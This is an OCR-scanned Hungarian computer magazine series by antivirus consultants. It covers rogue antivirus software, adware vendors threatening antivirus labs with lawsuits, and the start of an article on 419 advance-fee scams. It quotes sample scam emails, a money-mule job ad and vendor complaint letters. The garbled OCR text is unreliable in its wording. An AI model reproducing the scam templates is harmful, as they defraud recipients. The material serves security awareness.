igy mossék tisztara. A megfert6zott
gépek is rendszerint felhaszndlha-
t6k tovabbi botnetes karokozasok-
ra: a tulajdonos tudta nélkdl kildhe-
t6k példaul tovabbi spam hirdeté-
sek akar errdl a remek, Trust Soldier
nevi antivirus programrél. Es aztan
az Gj cimzettek 6t szdzaléka megint
kattint, és igy tovabb.

Sorozatunk kovetkezé szamaban
ennek a témdnak egy masik vetu-
letével fogunk foglalkozni, itt mar
a szlirke zéna és az antivirus cé-
gek tigyvédei is egyardnt a ringbe
[épnek majd.

*k%k

Kérjiik kedves olvaséinkat, ha
a témaban kérdésiik, hozzaszé-
ldsuk van, juttassék el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

Hogyan tavolitsuk el az dl-antivirusokat:

remove-malware.net, www.myantispyware.com
32 milli6 forint bevétel hetente: hopp.pcworld.hu/6425
Amikor a fagylalt visszanyal: hopp.pcworld.hu/6426

Vészesen terjednek az dl-antivirusok: hopp.pcworld.hu/6424
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Jogaszok a viruslaborban

Sorozatunk huszonkilencedik epizodjaban ott folytatjuk, ahol a multkor befejeztiik: a jogi
szakértdk, Ugyvédek lassan az antivirus laborok oszlopos tagjai lesznek. Hogy ez furcsa? Hat
megleponek meglepd, de ha az elmult évek torténéseit vizsgaljuk ebbol a szemszégbdl, akkor
viszont minden egy csapasra vilagossa valik.

icsit kilogott a sok tech-
nikai téma koztil az egyik
elGadds, amelyet a Virus

Bulletin konferencian Juraj Mal-
cho tartott. Az ESET virusszakér-
t6jének Van-e jogdsz a laborban?
cimU prezentaciéja olyan kérdés-
re irdnyitotta ra a szakemberek fi-
gyelmét, amely minden antivirus
cégnél problémat okoz. Egyre ne-
hezebb az egyes reklamterjesz-

t6 alkalmazasok megitélése, és ez-
zel egy id6ben egyre agresszi-
vebb eszkozokkel igyekeznek a
kétes programok fejleszt6i, a sziir-
ke zéna gatlastalan haszonélvezéi
a virusvédelmi cégeket fenyegetni,
dontéseiket befolyasolni.

Felismerni vagy nem fel-
ismerni, ez itt a kérdeés

A bévilé lehetdségek és a szami-
togépes felhasznalok egyre novek-
v4 szama magdval vonja szdmos
rejtett vagy félrevezetd szandék-
kal kifejlesztett, illetve a legjobb
esetben is kétes hasznossagu al-
kalmazas megjelenését. Ezek lét-
rehozésat az anyagi haszonszer-
zés motivalja, célcsoportjuk pedig

jellemzéen a népesség szakmailag
felkésziiletlenebb része. Szamos
ilyen szoftver nem az internetes
biinézésben hasznalatos kartevék
(példaul botok vagy kémprogra-
mok) kozal kerdl ki, hanem in-
kabb potencialisan veszélyes vagy
kéretlen program. Ezek a gyanus
szoftverek ugyanakkor gyakran
kapcsolatba hozhatdk a kartevék
terjesztéséért felelds csoportokkal,
és tovabbitasuk is tisztességtelen
modszerekkel, tobbek kozt levél-
szemétkampanyok révén vagy kar-
tevék dltal végrehajtott push-alapt
telepitésekkel torténik.

Amikor a virusirtd laboratériu-
mok felfigyelnek ezekre a méd-
szerekre, és felkészitik termékeiket
az efféle alkalmazéasok felismeré-
sére, a virusirt6 szoftverek gyar-
t6i és a kéretlen szoftverek terjesz-
t6i kozott érdekellentét keletke-
zik. Ezek az ellentétek idénként
jogi csatarozasokhoz vezetnek,
amelyek sok munkatarsnak, ko-
z6ttiik a jogi osztaly szakembe-
reinek a részvételét is megkove-
telik a dontéshozatali eljarasban,
és igy jelentds mennyiségli embe-

Typical Regular
Matware

Ziob,
Adware
Downloaders

Rogue
Antivirus

Online Casincs.
Game Downloaders,
and Crher Dublaus Stuff

Adware

Az 6sszes sziikséges erdfeszités tobb dimenzioban mozog. A klasszikus kar-
tevéket viszonylag nehéz detektalni, de nem okoz gondot annak eldontése,
belekeriiljenek-e a felismerési adatbazisba. A kéretlen reklamoknal viszont

mar nehezebb a megitélés
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AntispywareXpPro - a maga idejében a leginkabb elterjedt XP platformra
fokuszaltak a biinozék. Licencimitacio és hamis dijak, elismerések. Nem ritka

a kitalalt dicséré olvasoi levél sem

ri és pénziigyi eréforrast vonnak

el a véllalattdl. Az ilyen szoftverek
kategorizaldsara vonatkoz6 don-
tést sok esetben maguk a felhasz-
nalék teszik még nehezebbé, ami-
kor egyéniségik, tarsadalmi hova-
tartozasuk, s6t még nemzetiségtik
szerint is méas-mas kivanalmakat és
véleményeket fogalmaznak meg.

A javunkat akarjak,

ne adjuk oda!

Annak ellenére, hogy a napjaink-
ban kifejlesztett rendszerek egy-
re Osszetettebbek, igy a védelmuk
biztositasa is nagyobb eréfeszi-
tést igényel, gyakran eléfordul-
nak hibak a tervezés és a megva-
|6sitas fazisaban is. A technolégidk
és eszkdzok egyre nagyobb sza-
ma noveli a timaddk szaméra el-
érhet6 tamadasi feliiletet is, igy 6k
a meglévé biztonsagi rések kihasz-
nalasabol prébélnak hasznot hiz-
ni. Pontosan ez az alapja a szami-
togépes fertézéseknek. Napjaink
hatalmas mennyiség(i kartékony
vagy kéretlen kédja mogott az
anyagi haszonszerzés szandéka 4ll.
Még azt is kijelenthetjik, hogy el-
enyész6 a szerzG vélt ,ratermett-

ségét” bizonyité szamitégépes be-
hatoldsok szdma — akar kartékony
szandéka, akar nem.

Sziirke zona, vékony jég
Tegyiik félre a pontosan defini-
alt kartékony kédokat, és fordit-
suk figyelmiinket a ,greyware”
gy(jténéven ismert kéretlen prog-
ramok, azaz a szlrke zéna szoft-
verei felé. Az ezekkel az alkalma-
zasokkal kapcsolatos problémék
rendszerint nem a kédok 6ssze-
tettségében, védelmében vagy
Osszezavardsaban, illetve a felis-
merés megvaldsitdsaban gyoke-
reznek. A kérdés annak megal-
lapitasatol fugg, hogy a szoftver
kartékony-e vagy sem, illetve va-
lamilyen szempontbdl hasznos-e.
A valé vilagban azonban az ilyen
szoftverek hasznos vagy jogsze-

rli voltarél végtelen vitakat lehet-
ne folytatni. Rosszabb esetben ez
néha még perekhez is vezethet.
Egyre gyakrabban fordul el6, hogy
hosszadalmas elemzés utan egy
virusvédelmi véllalat elhatdrozza
valamely alkalmazas ellenérzését,
amelynek a fejleszt6i viszont az el-
lenGrzés utan néhany nappal mér
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Europai ésszel szokatlan az igynevezett zold szoftverek sikere Kinaban. Az
alacsony ar a megjelenitett reklamok miatt miikodik, és az ottani vasarlok
nem panaszkodnak ezek miatt, mig Eurépaban szinte egybehangzéan kial-

tananak ugyanerre ,kartevot”

indokolatlan észlelésre panasz-
kodva kérik a szerintuk téves felis-
merés megallapitasat. Az ezt kove-
t6 dontések és szempontok sorat
az érdekek ttkézése rendszerint
igencsak nehézzé teszi. Szamos
tényez6t kell szamitasba venni —
nemcsak magat a szoftvert, hanem
a felhasznaloi kort is, tovabba el-
lendrizni kell az adott vallalat hi-
telességét, a terjesztési csatornd-

it pedig elemezni kell. A csalard
vallalkozasok és termékeik (hami-
sitott virusirt6 és kémprogram-el-
harité szoftverek) gondosan kidol-
gozzdk a megtévesztés minden
apré részletét — weboldalaik pro-
fesszionalis megjelenéstiek, termé-
keik pedig a valodi virusirté szoft-
verek jegyeit is magukon viselik.
Ezeken a weboldalakon rengeteg
hamisitott Gyakori kérdések-lista

From: support [mailto:support@emediacodec.com]

Sent: Wednesday, April 12, 2006 4:28 PM
To: xux

Subject:

Hello xxx.

We are eMediaCodec support team. we would like to know why your

software NOD32 detects our codec as virus
"Win32/TrojanDownloader.Zlob.|I".

Our emediacodec is provided with Terms and Conditions located at
http:/fwww.emediacodec.com/terms.html where we describe in
details what is the codec itself. We do tell surfers about what being

installed on their computers.

We would very appreciate if you remove our eMediaCodec from your

virus list.
Thanks

Régebben csak elvétve fordult el6, hogy a kartevéket,

lathat6 a nem létezé felhasznalok-
tol és masoktdl szarmazé , kedve-
28" visszajelzésekkel és szinlelt ta-
nisagtételekkel egyditt.

Hamis antivirusok mas
aspektushol

Nem szokatlan a legalisan md-
kodé webhelyek fertézott al-
lapota, ha azok HTML-kédja-

ba Iframe-atiranyitasokat sztrtak.
Az Iframe-elemek a tdmadd szer-
verére mutatnak, amely a karté-
kony kédot szolgdlja ki. A telepi-
ték/letolték a tréjaiak dsszes funk-
ciéjaval rendelkeznek, igy eddig
minden meglehetGsen vilagos, és
nem kell sok idét szanni a beso-
rolas megdllapitasara. Ezek a ko-
dok altaldban a tréjaiak vagy a tré-
jai letolték kategéridjaba tartoz-
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Juraj Malcho (ESET) el6adasat Budape:

sten is meghallgathattunk a Magyar

Villamosmérnok- és Informatikus-hallgatok Egyesiilete (VIAVE) szervezésé-
ben 2009 Gszén tartott Ethical Hacking Workshop 2009 keretében. Amikor
egy virusszakérté ugy dont, hogy nem tetszenek neki valamelyik szoftver
egyes elemei, talan mert nem biztonsagosak, kéretlenek vagy problemati-

kusak - akkor jo eséllyel igaza lehet

nak. Ez azonban nem érvényes

a tréjai letoltd altal éppen letol-
tott szoftverre, amely besoroldsa
szerint reklamprogram, kémprog-
ram vagy kéretlen alkalmazds le-
het. Miért? Az ok, hogy a kénysze-
ritett telepités ellenére rendszerint
megjelenik egy végfelhasznaloi li-
cencszerzGdés, amely a hamisi-
tott szoftverre vonatkozé Osszes
szempontot tartalmazza, és ame-
lyet a felhasznald ténylegesen j6-
vahagy. igy a program telepitése
valoban a felhaszndlé hozzajaru-
ldsaval megy végbe. Természete-
sen a licencszerz6dés semmit sem
mond a terjesztés eszkozeirsl, ma-
guk a szoftvergyarték pedig tagad-
jak, hogy koziik lenne a terjeszté-
si csatorndkhoz. Mindezt t6bb-ke-
vesebb sikerrel teszik, az egyes
esetektdl figgéen. llyen eset-

ben azonban tanulmanyozni kell
a szoftverek minden apré jellem-

2Gjét és részletét. A legfontosabb
tulajdonsagok: a timado képes-
ség, a rendszer stabilitasara gyako-
rolt hatds, a biztonsag és az integ-
ritds, valamint az, hogy a szoftver
szerzGi milyen mértékben prébél-
jak osszezavarni a kédokat, kivé-
deni a felismerést stb. Manapsag
szdz és szaz ilyen hamis alkalma-
zéscsaladot regisztralnak — szinlelt
jogszertiségiik szintje és min&sé-
ge pedig a gyerekes, jelentéktelen
kisérletektl a komoly, szaksze-
rii megjelenést nydijté megoldaso-
kig terjed.

Ezeknek a szoftvereknek a szile-
tése és az elterjedéstikre utalé el6-
jelek 2005-re keltezhetdk, ami-
kor a WinAntivirus és mds hasonl6
csalddok megjelentek. A hamisi-
tott alkalmazésok (kuléndsen a vi-
rusirtoknak) Win vagy az Antivirus
szavakkal kezd6d6 nevei nyilvan-
val6 okokbél hamar népszerdiek
lettek. Ez természetesen idével t-

Frioenis oo [miita o por i aghukacom) , . . . .
Sent: Wednesdey, July 17, 2006 3:53 14 alakult, és a virusvédelmi adatba-
To: w0
Subject: Attn: AV Research Team, Urgent
Dear Research Team, DIJIII.‘{ t: NOD32 detects our DrD\‘Iu( ts as mahware
L am wriling to you on behalf of DISMAL MECIA DEVELOPERS Daste: 21 Aug 2006 10:71:51 0500
Why does your AV detec our software as From: ooulilwinsollware_com
Win2/Trojan Cownloader Zlob UR"? There must be mistake. Cur software has| | g o
License Agreement on the very first page of install v d, the product
ftaelfl does not inclode any trojan or sny soltware 1o download anything . | am contacting you on behalf of Winseftwars Company.
secretly, fur all ad s are downloaded with user permission
¥ . [ - . Law i that parts af our

and without any secret. If you have a look at our product more closely, you oduct, WinAntVi Pro 20 dded 1 i " dokal

i h inAnhVir o 06, were q 0 pOu i mabwarne d i 3
will finid that it can be casily removed from PC with the help of Add or P sk N W L ey
e B T and aw currently being detected as mabwvare
Could you please explain your policy on naming and detecting our software as | | WinSaftware believes this may have been done inadvertently; nevertheless this
“Trojan"? Ivas » . RIS i ot 1
Vere is the URL of our produict level. Winsoltware, therefore, these product from
httpsf fwww pornmagpass comydownload/pornmagpass verl 107.exe your base - fram receipt of this notification

Best Regards,

e

Amikor a farok csoévalja a kutyat - a széles s

Best regards,

kérben hirhedt Zlob készit6i arra hivatkoznak,

hogy nem is kartevé az, amit a viruskeresé an-

Flease confirm recemt of this message.

kéretlen reklamokat terjeszt6 cégek még reklamal-
janak is - a képen a semmire sem jo eMediaCodec
terjeszt6i probalkoznak. Természetesen barmennyire
szakszeriitlennek is tiinik ez a levél, mégis kétségeket
és némi bizonytalansagot ébreszt, igy sziikségessé
teszi a probléma ellenérzését

nak itél. A késébbiekben azutan még érkezett
néhany megismételt panasz, am végiil a Zlob
mogott allé csoport a trojaiak uj hullamanak
olyan nagy tomegli létrehozasaba kezdett,
hogy felismerte, ebben a reklamalés iranyban
a legkisebb esélyiik sincs a sikerre

Ennyire mar a rinocérosz bdre sem lehet vastag:
még a hamis antivirus késziték is kévetel6znek,
hogy az adatbazisbol 14 napon beliil tavolitsak
el a WinAntiVirus Pro 2006 detektalasat. A hosz-
szadalmas Zango-per ovatossa tette az antivirus
cégeket, bar szerencsére gy6zott az igazsag
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Over the last 3%z years:

- 20+ cases where legal dept. has been involved

+over 1,150 man-hours and 530 employee interactions

+ 2006; 16 man-hours/month, 6 interactions/month

+ 2009: 46 man-hours/month, 21 interactions/month

Aggodalomra adnak okot a szamok. Harom év alatt megharomszorozodott
az ilyen reklamacios esetek szama. Biztosra vehetd, hogy ezek szama tovabb
fog emelkedni, és csak reménykedhetiink abban, hogy nem exponencialisan

zisok szervezése és gy(ijteményei
is véllalatrél vallalatra valtozhat-
tak, ami Gjboli besorolashoz ve-
zethetett.

Reklamprogramok -

nos, kinek jo ez?

Minél agresszivebb egy szoftver,
annal kdnnyebb a besorolasat
megéllapitani. Masfel6l az agresz-
szivitas szintjének novekedésével
az észlelés megvalGsitasanak 6sz-
szetettsége is aranyosan né. Mint
mar utaltunk ra, a dontési eljaras

gyakran jéval tobb id6t emészt fel,

mint a felismerési mintdk létreho-
zasi folyamata. A valddi virusirtd
és a problematikus kartevé tény-
legesen két, egymassal szemben
allé szoftver, amelyeknek a rend-

szeren valé jelenlétét a jovaha-
gyott végfelhaszndléi licencszer-
z6dések biztositjak (amelyeket a
felhasznal6 gyakran a tudtan kiviil
és elolvasds nélkiil fogadott el).

A gyands szoftvereket gyartok
val6di torekvésének szemlélteté-
sére idézzuik fel a szdmos miltbe-
li jogi esetek egyikét. 2007-ben
a Zango nevdi (180Solutions né-
ven is szerepld), hirhedt rekldm-
program-terjesztként ismert vél-
lalat vadat emelt a Kaspersky Lab
ellen, kifogdsolva, hogy az igazsag-
talanul tiltja le a Zango altal forgal-
mazott szoftvereket. Ezenkdzben
a Zango azt is allitotta, hogy a Kas-
persky sérti a jo hirnevét, és gatol-
ja az tzletmenetét. A birésag elsé
dontése igen kedvez6en hangzott,

Az észielésekkel kapcsolatos panaszok miatti munkacrak szama
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mivel alapvetésként megallapitot-
ta, hogy egy interaktiv szamit6gé-
pes szolgéltato (a tartalomsz(réssel
osszefliggésben) jogosult az olyan
anyagok terjesztésének az akada-
lyozasara, amelyeket az tigyfelei
kifogasolhatonak tartanak. A torté-
net ezzel még nem ért véget, mert
tovébbi fellebbezések kovetkez-
tek. A végs6 jo hir azonban 2009
aprilisaban az volt, hogy a Zan-
g0 a pert elvesztve, bejelentette az
tizleti életbdl valé visszavonuldsét.
Barmely (legaldbbis a torvény
elétt) jogosulatlannak bizonyulé
észlelés a befektetett eréforrasokat
és az idét illetéen igen sokba ke-
rilhet a virusvédelmi véllalatnak —
akinek kildetése, hogy meghallja
ugyfelei kérését, és megvédje azok
szamit6gépét a nemkivanatos
szoftverektdl. Altaldban senki sem
kivan reklamprogramokat tarolni a
szamitogépén, csak ha nincs tisz-
tdban a kovetkezményekkel, illet-
ve azzal, hogy ezekkel a progra-
mokkal szamitégépe hatékonysa-
gdt és stabilitdsat veszélyezteti. De
azért van ez aldl kivétel is, néz-
zlink hét egy példat.

Amitol a nyugati szoftver-
cégek szivhajt kapnanak
A Kindval, mint a vildg egyik leg-
nagyobb reklamprogram-eléalli-
téjaval kapcsolatos 6sszes prob-
[émat félretéve megallapithatjuk,
hogy a kinaiak szamos terileten
—a kultdratdl a technolégiai fejl-
désig — igen tehetségesek. Koztu-
dottak Kina problémdi a szoftver-

kalézkodassal, valamint az olyan
programokkal kapcsolatban, ame-
lyek egyéb funkci6ik mellett kii-
[6nféle hirdetéseket jelenitenek
meg. Ezek a reklamprogramok a
viruselemz6k mindennapi rémal-
manak okozéi. Az alaposabb ku-
tatds azonban feltdrja azt is, hogy
ez a reklamprogram-jelenség csak
az egyik okozata a bonyolult ki-
nai szoftverhasznalati szokdsok-
nak. A probléma része az tgy-
nevezett ,zold” szoftver. A zold
szoftver dltalaban olyan 6nallé
csomagot jelent, amelynek hasz-
nélatakor nincs sziikség a prog-
ram telepitésére, elegendé azt le-
toélteni, majd duplan rékattintani,
és maris megjelenik a képernydn
példdul az Adobe Photoshop CS4
teljes verzi6ja. A kicsomagolas
el6tt természetesen a szoftver fel-
torése és modositasa, majd ,fel-
javitdsa” sziikséges, hogy megold-
juk az dsszevissza valé telepités-
b6l ad6do nehézségeket, azutan
a licencaktivalas kovetkezik. A so-
rozatszam vagy a licenckulcs mi-
att folosleges aggédni: ezekhez
ugyanis konnyen hozz4 lehet jut-
ni azon a tobb tucatnyi vagy talan
tobb szaz webhelyen, amelyek
ezeket a z6ld csomagokat kindl-
jak. Egyesek szdmara a z6ld szoft-
ver azonos az ingyenessel, amely
rdaddsul olykor még honositott is.
A ,z6ld” webhelyek 6sszes anya-
ga gondosan rendezett, igy barki
kénnyen hozzajuthat kedvenc al-
kalmazasanak a mésolatdhoz. Az
ismert kinai feketepiac ,erede-

A szlkséges beavatkozasok széma
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A detektalasokkal kapcsolatos reklamaciok kezelésére 2009-ben mar sokkal-
ta tobbszor kellett id6t forditani, mint par évvel ezel6tt. Juraj Malcho ada-
tai az ESET laborjara vonatkoznak, de ezzel a problémaval minden antivirus
labornak meg kell kiizdenie

A sok panasz, az egyre tobb kérelem sok extra munkaoérat igényel, minden
reklamalo beadvanyt alaposan, illetve meggondoltan kell kezelni, és csak a
100 szazalékig biztos eseteket lehet kdnnyen rovidre zarni, ellenkezé eset-
ben elindul a végelathatatlan pereskedés
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ti” CD-ihez és DVD-ihez hason-
[6an a zold webhelyekrél szar-
mazé eredeti és feltort véltoza-
tok kozott is gyakran igen nehéz
kilonbséget tenni. Ezért sok ma-
ganszemély és zleti véllalkozas
futtat illegdlis szoftvereket anél-
kiil, hogy tudna réla, még ha

ez éles ellentétben dll is az el-
veivel. Az ilyen kérnyezetben a
szoftvergyartok kénytelenek ter-
mékeiket ingyenesen forgalom-
ba hozni - legfeljebb némi rek-
ldmot helyeznek el benntik. De
ezzel szemben mi a helyzet a vi-
lag tobbi részével? Az emberek
végletesen allergidsak még a rek-
lam gondolatara is, tigyes reklam-
blokkolékkal és sztir6kkel rendel-
keznek, tovabba minden olyan
alkalmazas eltavolitasat megkove-
telik, amely rekldmot tartalmaz-
hat. Akkor hat mi is pontosan az
a reklamprogram? Vajon meny-
nyire képes az atlagos felhaszndlé
kilonbséget tenni a ,jo” és a
rossz” reklam kozott, és tud-e
helyesen valasztani? Ez a problé-
ma komoly fejfdjast okoz a virus-
laborokban szerte a vilagon.

A nemzetkozi helyzet
fokozodik

Elég gyakran megesik, hogy ezek-
nek az alkalmazésoknak a telepi-
tése kétes csatorndkon keresztil
torténik, amelyek ellenérzésére a
felhaszndlok nem feltétlentil képe-
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sek, igy szamit6géptikon a szoft-
ver val6jaban kéretlen tartalom-
ként jelenik meg. Napjaink kényes
témdja az online kasziné. Renge-
teg ember akar jatszani és nyerni
— a jatékban pedig valédi pénz fo-
rog. A kapcsolédé alkalmazasok
- nem kotelezGen — szolgaltathat-
nak hirdetéseket is. Elég gyakran
megesik, hogy bizonyos id6ko-
zonként adnak reklamot, maskor
meg nem. Az ezekkel kapcsola-
tos f6 probléma az, hogy a belé-
péshez a nyilt terjesztési modellt
hasznaljak, és minden sikeres te-
lepités utan jutalékot adnak. A je-
lenlegi ,botnet-korszakban” ez a
modell a gyors és kdnny( pénz-
kereset esélye révén komoly visz-
szaélésekre adhat és ad is alkal-
mat, igy bevett gyakorlat, hogy
ezeket az alkalmazasokat levél-
szemét, st tréjaiak segitségével is
terjesztik. Ennek eredményeként
egyre tobb pénz folyik a blin6zék
zsebébe, mikozben a szoftverek
egyre tobb szamitégépre telepitik
magukat — a felhasznalék jévaha-
gyasa nélkil. Midta ezek a cégek
az online kaszindkkal tzletelnek,
a pénzzel valé kapcsolatuk igen
szorossa vdlt, és nem haboznak a
vizsgdlatok besziintetése érdeké-
ben felhivasokkal tdmadni a virus-
védelmi vallalatokat, még azon az
aron is, ha perrel végzédik az tgy.
gy a viruselemzSk munkdja Gj és
varatlan dimenziéji tevékenység-
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Aki pokerezni szeretne, annak ez nem zavard, hanem még o6riil is neki. Aki
viszont nem kartyazna online, annak kéretlen reklam. Akkor most hogyan
lehet ezt besorolni? Nem véletlen, hogy a ,,Potencialisan Veszélyes Alkalma-
zasok” és a ,Kéretlen Alkalmazasok” kategoria kialakult, és az is szandékos,
hogy ezek keresésének nincsen a telepitéskor alapértelmezett allapota,
maganak a felhasznalénak kell déntenie
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Egy per, amirél akar irhatna is valaki egy kényvet. Eugene Kaspersky cégét

a Zango nevii online reklamcég beperelte az USA-ban arra hivatkozva, hogy
a kartevéként valo detektalas rontja az Gizletmenetiket és a jo hirneviiket.

Az évekig tarto per vége a Zango (korabban 180Solutions) csédjével és az

antivirus cég gy6zelmével zarult

gé alakult, a problémak megolda-
sa pedig rendkiviil idGigényes el-
foglaltsagga valt.

Mi lesz itt megfizetve?
Murphy szerint ha mar nem ro-
molhatnak tovabb a dolgok, ak-
kor tovabb romlanak. Sajnos sen-
kit nem tudunk azzal vigasztalni,
hogy a cikkben leirt esetek egye-
diek, és soha tobbet nem fognak
megismétlédni. Ennek pont az el-
lenkezgjétdl lehet tartani: ezek az
tgyek nem kertilhet6k ki, és egy-
re gyakrabban, egyre tébb ké-

tes szoftverrel kapcsolatosan lehet
majd ilyenre szamitani. Egy biro-
sagi perben pedig lehet remény-
kedni, lehet az igazsag diadalat
varni, de a sokszor évekig tarto,

sok idegeskedéssel jaré procedu-
rék eredményét sohasem lehet
teljes bizonyossaggal el6re meg-
josolni.

Olyan ez, mint egy teniszmeccs,
amelynek az eredménye végig
nyitott, s a mérkézés csakis a kéz-
fogassal ér véget.

* %k

Kérjtik kedves olvaséinkat, ha a
témdban kérdésiik, hozzészdlasuk
van, juttassak el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan és Kiss Zoltan,
virusvédelmi tandcsadd
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu
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32 milli6 forint bevétel hetente: hopp.pcworld.hu/6425
Kittotték a hirhedt reklamprogramot: hopp.peworld.hu/6556
ESEt Threat Blog - Is There A Lawyer In The Lab¢: hopp.pcworld.hu/6557
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Egy haromjegyil primszam, ami megvaltoztatta az internetet
Minden, amit a 419-rol tudni lehet

Harmincadik részéhez ért a Virusok Varazslatos Vilaga. Ezittal azt a korabbi szalat folytatjuk, amelyet az

Virusok Varazslatos Vilaga

-

5-6s epizodban a megtévesztésrol, social engineering mddszerekrol elkezdtiink, és késobb a 20. részben
az ,,Ujabb social engineering fejezetek” cimmel folytattunk. Ezuttal a pénzzel kapcsolatos megtévesztés
gyokereirdl, az ugynevezett 419-es tipusu nigériai csalasokrol igyeksziink mindent elmondani.

leddig, az el6z06 részekben kitértiink az
E adathalaszatra, igyekeztiink viselke-

désbeli, segédprogram-, illetve bon-
gészoplugin-szintli részletes jo tanacsokkal,
tippekkel is szolgalni a védekezéshez. De mi
kell ezenfeliil még a hatékony védelemhez?
A Rambo II. cim( filmb6l idézve: ,En min-
dig azt hittem, hogy az ész a legjobb fegyver.”
Vagyis meg kell ismernunk a triikkoket, a csa-
lok mozgatérugdit, és utdna lesz szemiink
a virusok/rendellenességek felismerésére.

Miért éppen 419?

Mai sétankon tehat onnan indulunk, hogy miis
az a 419-es csalas. ElGszor is, miért pont 419,
miért nem 418 vagy 2697 Nos, a nigériai biin-
tet6 torvénykonyv (BTK) szerint ez a paragra-
fus rendelkezik a csalasrol, innen ered a kife-
jezés, ezért szoktak roviden 419-es csalasnak,
vagy még rovidebben csak 419-esnek nevezni.
De milyen esetekrél is van szo pontosan? Eh-
hez elétte tegyiink még egy kis torténelmiidé-
utazast Spanyolorszagba.

A kapcsolatfelvétel médja
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A kapcsolatfelvétel modja szerinti grafikon, azaz hogyan keres meg minket a csalé. Lathatéan

toronymagasan az e-mail vezeti sort

REFERENCE NO: 47506172507
BATCH NO: 705649092/188
WINNING NO: GRET01'LPRC
WINNER: NOIT

DEAR WINNER,

FROM: THE DESK OF THE E-MAIL PROMOTIONS MANAGER INTERNATIONAL PROMOTIONS PRIZE AWARD
DEPARTMENT, MICROSOFT CORPORATION WORLD LOTTERY UNITED KINGDOM, 61-70 SQUTHAMPTON RO W
BLOOMSBURY LONDON UNITED KINGDOM WCIB JAR.

ELECTRONIC EMAIL AWARD WINNING NOTIFICATION AWARD PRESENTATION CENTER: UNITED KINGDOM

MICROSOFT CO OPERATION MANAGEMENT WORLDWIDE ARE PLEASED TO INFORM YOU THAT YOU ARE A

Hivatkozasi szam, elegans pecsét, hivatalosnak tetszo kinézet - ezek az alapkellékei a hiheto-

nek szant szamitogépes atverésnek

Nincs Uj a nap alatt

A torténeti hitelesség kedvéért meg kell je-
gyezni, hogy bar vilagszerte ezen a néven vo-
nult be a koztudatba, a 419 eredetileg egy ma-
sik, tobb szaz éves atverésen alapul. Az Ugyne-
vezett ,spanyol fogoly”-triikk 1588 ¢ta ismert,
amikor a spanyol csalok allitolagos gazdag ro-
konra, inkognitoban évé tehetds ismeretlen-
re hivatkoztak, aki angol fogsagban sinylé-
dik. A zlrvaros angol-spanyol ellenségeske-
dés kozepette természetesen pénzt gyljtenek
a szabadlabra helyezéséhez, és ming véletlen,
ezt nagyon slirgésen kell intéznilk, hiszen
mar az is nagy rizikd lenne, ha a fogoly valodi
személyazonossagara fény deriilne a borton-
ben. Viszont szabadulasa utan bokez( jutalom
varhato a segitonek, taldn még a gazdag is-
meretlen gyonyord lanyat is elveheti felesé-
gul. A szélhamosok gyakran hivatkoztak arra,
hogy ez a dolog bizalmas természet, és titok-
tartast is kértek (nand, késleltették vagy meg-
akadalyoztak ezzel a sajat lebukasukat). Azt is
gyakran hangsulyoztak, hogy alapos utanaja-
rds utdn Gszintesége, becsiiletessége, meg-
bizhatdsaga alapjan valasztottak ki azt, hogy
kitol is kérjenek segitséget. A pénz gyorsan
kell, nincs hat id6 a lacafacazasra, am ha a ki-
szabaditas és a késébbi nagylelkl jutalom re-
ményében a balek beugrott, a kezdeti nagy si-
etség utan hamar lelassultak az események.
Tobb kiilonbozo késobbi megkeresés alkal-
maval Ujabb lefizetendd 6rékre, Ujabb felme-

Amirdol minden 419-es aldozat almodozik.
Vajon az allitolagos Ibro Usen, a Bank of
Africa konyvvizsgalati és konyvelési szekcio
munkatarsa Burkina Faséban valéban at-
utalja majd takarékbetét-szamlankra a sok
dollart, ha megadjuk a személyes banki ada-
tainkat? Ez persze csak koltoi kérdés volt
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rilt nehézségekre és koltségekre hivatkozva
probaltak ismételten tovabbi dsszegeket kér-
ni. Egy id6 utan a folyamat 6njaro lett: ha va-
laki mar egy ilyen tigy érdekében valamennyit
is fizetett, ezzel a ., Na, még egy kicsit bete-
szek, de aztdn mar lassan tényleg elég!” ala-
pon futnak a pénzik utdn. Nem ismerik fel,
hogy mar a legelsé befizetés is butasag volt,
és inkabb veszteséggel, de azonnal ki kellene
szallni. A tovabbi pénzekkel mar szinte a jozan
észnek is fittyet hanynak - legalabbis a kivil-
allé szemében mindenképpen igy latszik. Te-
hat a mindenki altal feltett ,Miért fizetnek Ujra
meg Ujra?” logikus kérdésre ez lehet a valasz.
Ez a motivum t6bb szaz év 6ta nem valtozott,
de a kontds persze mindig Uj és mas. A kanyar
utadn most mar visszatérhetiink Nigériaba.

Minden feketének fizetek egy feketét!
Azt mar tudjuk, miért 419 a név, de azt is tudni
kell, hogy a csalasoknak egy kisebb része va-
l6ban Nigériabol indult. A nyolcvanas években
az olajvalsag kezdetén szamos ottani mun-
kahely szlint meg, és feltehetéen a nyelveket
beszéld és szamitogépet hasznalni tudo em-
berek tucatjaval probaltak csaldsokkal meg-
keresni a mindennapi betevét. A nigériai in-
ternetkavézokban kilon figyelmeztetd tabla-
kat is elhelyeztek (a ,Magyarok, ne lopjatok!”
mintajara), amelyek a spammelést és a 419-
es csalast tiltjdk. Természetesen ilyen cse-
lekményt barhonnan el tudnak kovetni, az FBI
éves jelentése mégis kiemel néhany jellemzd
orszagot: foleg Nigériat, ahol tobb ezer ember
él meg ebbdl, de Oroszorszag és Romania is
szerepel a listan.

=  Targy: Re: tavmunka
Felado:
Datum:
Cimzett:

Candidate requirements:

* location in Finland

* maore than 21 years old,

* communication experience;
* hanest, responsible;

Duties:

Income; up to 2900 EUR a month.

Company is looking for freelance personnel.

* have constant internet access for communication.

We are searching for people to process payments coming from our clients,

Combination with your full-time work and own schedule,

For full please details send us your CY to a@job-fi.com

Egy tipikus atveros allashirdetés. Otthonrol végezhetd, napi par oras konnyii, havi 780 ezer
forintot hozo, banki atutalasi munka. Ennyit kereshetiink a biin6zok pénzének tisztara mosa-

saval, egészen a letartoztatasunkig

»Isten biztosan szereti a bolondo-
kat.” , Miert?” ,Mert sokat terem-
tett beloliik”

A klasszikus forgatokdnyv szerint segitsiink
kimenteni a milliomos vagyonat némi része-
sedésért. Az alapszituacio ez: kapunk egy le-
velet, miszerint Ubu Momo, Idi Amin Dada,
esetleg Ubii kiraly elhalalozott, és a levéliré
szeretné a hatalmas vagyont kicsempészni az

A befektetes
- nagyon minimalis, és

- sz0 szerint par napon beliil visszajon.

